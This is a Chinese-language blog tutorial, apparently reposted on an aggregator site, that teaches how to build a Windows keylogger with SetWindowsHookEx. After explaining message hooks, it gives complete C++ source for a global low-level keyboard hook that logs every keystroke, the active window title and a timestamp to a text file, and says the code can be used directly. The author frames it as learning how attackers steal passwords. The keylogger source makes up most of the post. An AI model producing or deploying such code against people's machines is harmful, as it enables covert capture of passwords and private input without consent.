手把手教你用SetWindowsHookEx做一个键盘记录器

Posted CodeBowl

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了手把手教你用SetWindowsHookEx做一个键盘记录器相关的知识,希望对你有一定的参考价值。

“无忌,我教你的还记得多少?”
“回太师傅,我只记得一大半。”
“那,现在呢?”
“已经剩下一小半了。”
“那,现在呢?”
“我已经把所有的全忘记了!”
“好,你可以上了!”

羡慕张无忌,忘记了武功,打败了敌人;而我自己,忘记了武功,菜哭了自己。

已经一年多没有接触这个了,忘得干干净净,幸亏肌肉记忆还在,学起来十分亲切,废话不多说,进入正题。

前言

Hook是程序设计中最为灵活多变的技巧之一,在windows下,Hook有两种含义:
1、系统提供的消息Hook机制,也就是我们今天要实现的hook,在后面会讲到。
2、自定义的Hook编程技巧

​ 自定义的Hook编程技巧则是基于特定系统结构、文件结构、汇编语言的一种高级技术,运用自如后犹如手握屠龙刀倚天剑。

操作环境:

visual studio 2015

Windows 10

消息Hook

Windows消息hook主要通过SetWindowsHookEx去下钩,通过UnhookWindowsHookEx()去断钩,所以我们接下来主要学会用这俩个函数。

我们之所以可以进行消息Hook,是因为Windows的消息机制;简单来说:

Windows系统是建立在事件驱动的机制上的,每一个事件就是一个消息,每个运行中的程序,也就是所谓的进程,都维护者一个或多个消息队列,消息队列的个数取决于进程内包含的线程的个数。由于一个进程至少要拥有一个线程,所以进程至少要有一个消息队列。虽然Windows系统的消息分派是以线程为单位的,但并不是所有的线程都有消息队列,一个新创建的线程是没有消息队列的,只有当线程第一次调用GDI或USER32库函数的时候Windows才为线程创建消息队列。消息最终由属于线程的窗口来处理,普通的应用程序只能获取本线程的消息队列中的消息,也就是只能获得系统分派的、属于本线程的消息,换句话说,一个线程在运行过程中是不知道其它线程发生了什么事情的。但是有一类特殊的程序却可以访问其他线程的消息队列,那就是钩子程序。

(Windows消息机制还是十分重要的,这里我不多赘述,了解这些内容,足够咱们接下来的学习了,想要了解更多,建议看这篇文章https://zhuanlan.zhihu.com/p/42992978)

编写钩子程序是Windows系统提供给用户的一种对Windows运行过程进行干预的机制,通过钩子程序,Windows将内部流动的消息暴露给用户,使用户能够在消息被窗口管理器分派之前对其进行特殊的处理,比如在调试程序的时候跟踪消息流程。但是,任何事情都有其两面性,一些密码窃取工具就是利用系统键盘钩子截获其他程序的键盘消息,从而获取用户输入的密码,可见非法的钩子程序对计算机信息安全具有极大的危害性。

(那么我们今天就通过消息hook实现一个简单的键盘记录器,嘿嘿,知己知彼,百战不殆)!

消息Hook流程

第一步:安装钩子

最后一步:卸载钩子

中间步骤:我们要实现回调函数,实现我们自己的操作。例如获得键盘输入信息,并将其保存到txt文件中

通过setWindowsHookEx()实现键盘记录器

实现原理

当按下键盘,产生一个消息,按键消息加入到系统消息队列 操作系统从消息队列中取出消息,添加到相应的程序的消息队列中 ;

应用程序使用消息Hook从自身的消息队列中取出消息WM_KEYDOWN,调用消息处理函数。 我们可以在系统消息队列之间添加消息钩子,从而使得在系统消息队列消息发给应用程序之前捕获到消息。

可以多次添加钩子,从而形成一个钩子链,可以依次调用函数。

安装钩子

SetWindowsHookEx

WINUSERAPI
HHOOK
WINAPI
SetWindowsHookEx(
     //钩子类型
    _In_ int idHook,
    //回调函数地址
    _In_ HOOKPROC lpfn,
    //实例句柄(包含有钩子函数)
    _In_opt_ HINSTANCE hmod,
    //线程ID,欲勾住的线程(为0则不指定,全局)
    _In_ DWORD dwThreadId);

能设置的hook类型如下:

宏值含义
WH_MSGFILTER截获用户与控件交互的消息
WH_KEYBOARD截获键盘消息
WH_GETMESSAGE截获从消息队列送出的消息
WH_CBT截获系统基本消息,激活,建立,销毁,最小化,最大化,移动,改变尺寸等窗口事件
WH_MOUSE截获鼠标消息
WH_CALLWNDPROCRET截获目标窗口处理完毕的消息

我们这里hook键盘消息:

SetWindowsHookEx(
		WH_KEYBOARD_LL, //  low-level keyboard input events
        HookProcedure, //  回调函数地址
        GetModuleHandle(NULL), // A handle to the DLL containing the hook procedure 
        NULL //线程ID,欲勾住的线程(为0则不指定,全局)
    );

使用API函数SetWindowsHookEx()把一个应用程序定义的钩子子程安装到钩子链表中。SetWindowsHookEx函数总是在Hook链的开头安装Hook子程。当指定类型的Hook监视的事件发生时,系统就调用与这个Hook关联的Hook链的开头的Hook子程。每一个Hook链中的Hook子程都决定是否把这个事件传递到下一个Hook子程。Hook子程传递事件到下一个Hook子程需要调用CallNextHookEx函数。

为钩子链中的下一个子程序设置钩子。在钩子子程中调用得到控制权的钩子函数在完成对消息的处理后,如果想要该消息继续传递,那么它必须调用另外一个 SDK中的API函数CallNextHookEx来传递它,以执行钩子链表所指的下一个钩子子程。

WINUSERAPI
LRESULT
WINAPI
CallNextHookEx(
    //钩子句柄,由SetWindowsHookEx()函数返回。
    _In_opt_ HHOOK hhk,
    
    //钩子事件代码,回调函数的钩子过程的事件代码
    _In_ int nCode,
    
    //传给钩子子程序的wParam值
    _In_ WPARAM wParam,
    
    //传给钩子子程序的lParam值
    _In_ LPARAM lParam);

卸载钩子

卸载钩子API,钩子在使用完之后需要用UnhookWindowsHookEx()卸载,否则会造成麻烦。

WINUSERAPI
BOOL
WINAPI
UnhookWindowsHookEx(
     //要删除的钩子的句柄。这个参数是上一个函数SetWindowsHookEx的返回值.
    _In_ HHOOK hhk);

键盘记录

主要的功能我们通过SetwindowsHookEx()参数中的回调函数HookProcedure()来实现。

LRESULT CALLBACK HookProcedure(int nCode, WPARAM wParam, LPARAM lParam)

在里面我们会实现获得256个虚拟键的状态,并将其转换为真实字符

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Fwkl4X3e-1631233055133)(C:\\Users\\11073\\AppData\\Roaming\\Typora\\typora-user-images\\image-20210908224511747.png)]

输出:这里我们写了俩种方式

1.输出到控制台

2.输出到文本,并保存

一些逻辑

获得当前窗口和当前时间;

将记录的键盘消息保存到文件中;

效果

x86效果:

x64位

保存在txt文件中

Code

github下载,可直接使用,或修改测试
链接: windows hook.

//  使用SetWindowsHookEx实现键盘记录器
#include <Windows.h>
#include <string>
#include <fstream>
#include <sstream>
#include <iostream>
#include "键盘消息Hook.h"
#include "vld.h"
//  全局键盘Hook句柄
HHOOK kKeyboardHook;
//  Shift Key 
BOOL bShift = FALSE;
//  存放键盘消息
std::string fileName = "D:\\\\test.txt";
//  Windows Title Text -260 char-
char cWindow[1000];
//  NULL is ok
HWND lastWindow = NULL;
int main()
{
    std::cout << "start !" << std::endl;
    //  设置键盘钩子
    if (!HookKeyBoard())
    {
        std::cout << "Hook KeyBoard Failed!" << std::endl;
    }
    unhookKeyboard();//释放hook
}

/********************************************************
函数作用:设置键盘钩子
返回值:是否hook成功
*********************************************************/
BOOL HookKeyBoard()
{
    BOOL bRet = FALSE;

    kKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, //  low-level keyboard input events
                                    HookProcedure, //  回调函数地址
                                    GetModuleHandle(NULL), // A handle to the DLL containing the hook procedure 
                                    NULL //线程ID,欲勾住的线程(为0则不指定,全局)
    );
    if (!kKeyboardHook) 
    {
        //  如果SetWindowsHookEx 失败
        std::cout << "[!] Failed to get handle from SetWindowsHookEx()" << std::endl;
    }
    else
    {
        std::cout << "[*] KeyCapture handle ready" << std::endl;
        MSG Msg{};  //  统一初始化
        while (GetMessage(&Msg, NULL, 0, 0) > 0)
        {
            TranslateMessage(&Msg);
            DispatchMessage(&Msg);
        }
        bRet = TRUE;
    }
    return bRet;
}
/********************************************************
函数作用:钩子回调
返回值:是否hook成功
*********************************************************/
LRESULT CALLBACK HookProcedure(int nCode, WPARAM wParam, LPARAM lParam)
{
    std::ofstream myfile(fileName, std::ios::out | std::ios::app);
    BOOL  caps = FALSE;  //  默认大写关闭
    SHORT capsShort = GetKeyState(VK_CAPITAL);
    std::string outPut;
    std::stringstream ssTemp;  //  string 字符流
    if (capsShort > 0)
    {
        //  如果大于0,则大写键按下,说明开启大写;反之小写
        caps = TRUE;
    }
    /*
    WH_KEYBOARD_LL uses the LowLevelKeyboardProc Call Back
    LINK = https://msdn.microsoft.com/en-us/library/windows/desktop/ms644985(v=vs.85).aspx
    */
    //  LowLevelKeyboardProc Structure 
    KBDLLHOOKSTRUCT *p = (KBDLLHOOKSTRUCT *)lParam;
    //  wParam和lParam参数包含关于键盘消息的信息。
    if (nCode == HC_ACTION)
    {
        // Messsage data is ready for pickup
        // Check for SHIFT key
        if (p->vkCode == VK_LSHIFT || p->vkCode == VK_RSHIFT)
        {
            //  WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN, or WM_SYSKEYUP.
            if (wParam == WM_KEYDOWN)
            {
                bShift = TRUE;
            }
            if (wParam == WM_KEYUP)
            {
                bShift = FALSE;
            }
            else
            {
                bShift = FALSE;
            }
        }
        //  Start Loging keys now we are setup
        if (wParam == WM_SYSKEYDOWN || wParam == WM_KEYDOWN)
        {
            //  Retrieves a handle to the foreground window (the window with which the user is currently working).
            HWND currentWindow = GetForegroundWindow();  //  返回前台窗口,获得当前窗口
            //  Check if we need to write new window output
            if (currentWindow != lastWindow)
            {
                SYSTEMTIME t{};
                GetLocalTime(&t);  //  获得当前系统时间
                int day = t.wDay;
                int month = t.wMonth;
                int year = t.wYear;
                int hour = t.wHour;
                int min = t.wMinute;
                int sec = t.wSecond;
                int dayName = t.wDayOfWeek;
                //  Build our output header
                ssTemp << "\\n\\n[+] " << Dayofweek(dayName) << " - " << day << "/" << month << "/" << year << "  ";
                ssTemp << hour << ":" << min << ":" << sec;
                outPut.append(ssTemp.str());
                ssTemp.clear();
                //  GetWindowTextACCC
                int c = GetWindowTextA(GetForegroundWindow(), cWindow, sizeof(cWindow));
                std::cout << c;
                ssTemp << " - Current Window: " << cWindow << "\\n\\n";
                //outPut.append(temp.str());
                std::cout << ssTemp.str() << std::endl;
                myfile << ssTemp.str();
                
                // Setup for next CallBackCC
                lastWindow = currentWindow;
            }
            //  Now capture keys
            if (p->vkCode)
            {
                ssTemp.clear();
                ssTemp << HookCode(p->vkCode, caps, bShift);
                std::cout << ssTemp.str();
                myfile << ssTemp.str();
                
            }
            //  Final output logic
        }
    }
    //  hook procedure must pass the message *Always*
    myfile.close();
    return CallNextHookEx(NULL, nCode, wParam, lParam);  //  hook链
}
/********************************************************
函数作用:时间
返回值:返回时间
*********************************************************/
std::string Dayofweek(int code)
{
    // Return Day of the year in text
    std::string name;
    switch (code)
    {
    case 0: name = "[SUNDAY]"; break;
    case 1: name = "[MONDAY]"; break;
    case 2: name = "[TUESDAY]"; break;
    case 3: name = "[WENSDAY]"; break;
    case 4: name = "[THURSDAY]"; break;
    case 5: name = "[FRIDAY]"; break;
    case 6: name = "[SATURDAY]"; break;
    default:
        name = "[UNKOWN]";
    }
    return name;
}


/********************************************************
函数作用:将获得键盘消息转换为字符
参数说明: DWORD code 获得的键盘消息
BOOL caps 是否开启大写
BOOL shift 是否按下shift
返回值:转换的字符
*********************************************************/
std::string HookCode(DWORD code, BOOL caps, BOOL shift)
{
    std::string key;
    switch (code) // SWITCH ON INT
    {
        // Char keys for ASCI
        // No VM Def in header 
    case 0x41: key = caps ? (shift ? "a" : "A") : (shift ? "A" : "a"); break;
    case 0x42: key = caps ? (shift ? "b" : "B") : (shift ? "B" : "b"); break;
    case 0x43: key = caps ? (shift ? "c" : "C") : (shift ? "C" : "c"); break;
    case 0x44: key = caps ? (shift ? "d" : "D") : (shift ? "D" : "d"); break;
    case 0x45: key = caps ? (shift ? "e" : "E") : (shift ? "E" : "e"); break;
    case 0x46: key = caps ? (shift ? "f" : "F") : (shift ? "F" : "f"); break;
    case 0x47: key = caps ? (shift ? "g" : "G") : (shift ? "G" : "g"); break;
    case 0x48: key = caps ? (shift ? "h" : "H") : (shift ? "H" : "h"); break;
    case 0x49: key = caps ? (shift ? "i" : "I") : (shift ? "I" : "i"); break;
    case 0x4A: key = caps ? (shift ? "j" : "J") : (shift ? "J" : "j"); break;
    case 0x4B: key = caps ? (shift ? "k" : "K") : (shift ? "K" : "k"); break;
    case 0x4C: key = caps ? (shift ? "l" : "L") : (shift ? "L" : "l"); break;
    case 0x4D: key = caps ? (shift ? "m" : "M") : (shift ? "M" : "m"); break;
    case 0x4E: key = caps ? (shift ? "n" : "N") : (shift ? "N" : "n"); break;
    case 0x4F: key = caps ? (shift ? "o" : "O") : (shift ? "O" : "o"); break;
    case 0x50: key = caps ? (shift ? "p" : "P") : (shift ? "P" : "p"); break;
    case 0x51: key = caps ? (shift ? "q" : "Q") : (shift ? "Q" : "q"); break;
    case 0x52: key = caps ? (shift ? "r" : "R") : (shift ? "R" : "r"); break;
    case 0x53: key = caps ? (shift ? "s" : "S") : (shift ? "S" : "s"); break;
    case 0x54: key = caps ? (shift ? "t" : "T") : (shift ? "T" : "t"); break;
    case 0x55: key = caps ? (shift ? "u" : "U") : (shift ? "U" : "u"); break;
    case 0x56: key = caps ? (shift ? "v" : "V") : (shift ? "V" : "v"); break;
    case 0x57: key = caps ? (shift ? "w" : "W") : (shift ? "W" : "w"); break;
    case 0x58: key = caps ? (shift ? "x" : "X") : (shift ? "X" : "x"); break;
    case 0x59: key = caps ? (shift ? "y" : "Y") : (shift ? "Y" : "y"); break;
    case 0x5A: key = caps ? (shift ? "z" : "Z") : (shift ? "Z" : "z"); break;
        // Sleep Key
    case VK_SLEEP: key = "[SLEEP]"; break;
        // Num Keyboard 
    case VK_NUMPAD0:  key = "0"; break;
    case VK_NUMPAD1:  key = "1"; break;
    case VK_NUMPAD2: key = "2"; break;
    case VK_NUMPAD3:  key = "3"; break;
    case VK_NUMPAD4:  key = "4"; break;
    case VK_NUMPAD5:  key = "5"; break;
    case VK_NUMPAD6:  key = "6"; break;
    case VK_NUMPAD7:  key = "7"; break;
    case VK_NUMPAD8:  key = "8"; break;
    case VK_NUMPAD9:  key = "9"; break;
    case VK_MULTIPLY: key = "*"; break;
    case VK_ADD:      key = "+"; break;
    case VK_SEPARATOR: key = "-"; break;
    case VK_SUBTRACT: key = "-"; break;
    case VK_DECIMAL:  key = "."; break;
    case VK_DIVIDE:   key = "/"; break;
        // Function Keys
    case VK_F1:  key = "[F1]"; break;
    case VK_F2:  key = "[F2]"; break;
    case VK_F3:  key = "[F3]"; break;
    case VK_F4:  key = "[F4]"; break;
    case VK_F5:  key = "[F5]"; break;
    case VK_F6:  key = "[F6]"; break;
    case VK_F7:  key = "[F7]"; break;
    case VK_F8:  key = "[F8]"; break;
    case VK_F9:  key = "[F9]"; break;
    case VK_F10:  key = "[F10]"; break;
    case VK_F11:  key = "[F11]"; break;
    case VK_F12:  key = "[F12]"; break;
    case VK_F13:  key = "[F13]"; break;
    case VK_F14:  key = "[F14]"; break;
    case VK_F15:  key = "[F15]"; break;
    case VK_F16:  key = "[F16]"; break;
    case VK_F17:  key = "[F17]"; break;
    case VK_F18:  key = "[F18]"; break;
    case VK_F19:  key = "[F19]"; break;
    case VK_F20:  key = "[F20]"; break;
    case VK_F21:  key = "[F22]"; break;
    case VK_F22:  key = "[F23]"; break;
    case VK_F23:  key = "[F24]"; break;
    case VK_F24:  key = "[F25]"; break;
        // Keys
    case VK_NUMLOCK: key = "[NUM-LOCK]"; break;
    case VK_SCROLL:  key = "[SCROLL-LOCK]"; break;
    case VK_BACK:    key = "[BACK]"; break;
    case VK_TAB:     key = "[TAB]"; break;
    case VK_CLEAR:   key = "[CLEAR]"; break;
    case VK_RETURN:  key = "[ENTER]"; break;
    case VK_SHIFT:   key = "[SHIFT]"; break;
    case VK_CONTROL: key = "[CTRL]"; break;
    case VK_MENU:    key = "[ALT]"; break;
    case VK_PAUSE:   key = "[PAUSE]"; break;
    case VK_CAPITAL: key = "[CAP-LOCK]"; break;
    case VK_ESCAPE:  key = "[ESC]"; break;
    case VK_SPACE:   key = "[SPACE]"; break;
    case VK_PRIOR:   key = "[PAGEUP]"; break;
    case VK_NEXT:    key = "[PAGEDOWN]"; break;
    case VK_END:     key = "[END]"; break;
    case VK_HOME:    key = "[HOME]"; break;
    case VK_LEFT:    key = "[LEFT]"; break;
    case VK_UP:      key = "[UP]"; break;
    case VK_RIGHT:   key = "[RIGHT]"; break;
    case VK_DOWN:    key = "[DOWN]"; break;
    case VK_SELECT:  key = "[SELECT]"; break;
    case VK_PRINT:   key = "[PRINT]"; break;
    case VK_SNAPSHOT: key = "[PRTSCRN]"; break;
    case VK_INSERT:  key = "[INS]"; break;
    case VK_DELETE:  key = "[DEL]"; break;
    case VK_HELP:    key = "[HELP]"; break;
        // Number Keys with shift
    case 0x30:  key = shift ? "!" : "1"; break;
    case 0x31:  key = shift ? "@" : "2"; break;
    case 0x32:  key = shift ? "#" : "3"; break;
    case 0x33:  key = shift ? "$" : "4"; break;
    case 0x34:  key = shift ? "%" : "5"; break;
    case 0x35:  key = shift ? "^" : "6"; break;
    case 0x36:  key = shift ? "&" : "7"; break;
    case 0x37:  key = shift ? "*" : "8"; break;
    case 0x38:  key = shift ? "(" : "9"; break;
    case 0x39:  key = shift ? ")" : "0"; break;
        // Windows Keys
    case VK_LWIN:     key = "[WIN]"; break;
    case VK_RWIN:     key = "[WIN]"; break;
    case VK_LSHIFT:   key = "[SHIFT]"; break;
    case VK_RSHIFT:   key = "[SHIFT]"; break;
    case VK_LCONTROL: key = "[CTRL]"; break;
    case VK_RCONTROL: key = "[CTRL]"; break;
        // OEM Keys with shift 
    case VK_OEM_1:      key = shift ? ":" : ";"; break;
    case VK_OEM_PLUS:   key = shift ? "+" : "="; break;
    case VK_OEM_COMMA:  key = shift ? "<" : ","; break;
    case VK_OEM_MINUS:  key = shift ? "_" : "-"; break;
    case VK_OEM_PERIOD: key = shift ? ">" : "."; break;
    case VK_OEM_2:      key = shift ? "?" : "/"; break;
    case VK_OEM_3:      key = shift ? "~" : "`"; break;
    case VK_OEM_4:      key = shift ? "{" : "["; break;
    case VK_OEM_5:      key = shift ? "\\\\" : "|"; break;
    case VK_OEM_6:      key = shift ? "}" : "]"; break;
    case VK_OEM_7:      key = shift ? "'" : "'"; break; //TODO: Escape this char: "
                                                        // Action Keys
    case VK_PLAY:       key = "[PLAY]";
    case VK_ZOOM:       key = "[ZOOM]";
    case VK_OEM_CLEAR:  key = "[CLEAR]";
    case VK_CANCEL:     key = "[CTRL-C]";

    default: key = "[UNK-KEY]"; 
        break;
    }
    return key;
}


/********************************************************
函数作用:释放键盘钩子
返回值: void
*********************************************************/
void unhookKeyboard()
{
    if (kKeyboardHook != 0)
    {
       UnhookWindowsHookEx(kKeyboardHook);
    }
    exit(0);
}

参考资料

【windows核心编程】系统消息与自定义钩子(Hook)使用

HOOK教程一_使用SetWindowsHookEx进行Windows消息HOOK

总结

之后将继续更新hook系列。

以上是关于手把手教你用SetWindowsHookEx做一个键盘记录器的主要内容,如果未能解决你的问题,请参考以下文章

太棒了 | 手把手教你用Python做一个 “举牌小人” 生成器!

动手实践丨手把手教你用STM32做一个智能鱼缸

博士师兄手把手教你用R语言做PCA分析,不存在学不会!

动手实践丨手把手教你用STM32做一个智能鱼缸

手把手教你用深度学习做物体检测:YOLOv2介绍

Windows Hook链机制详解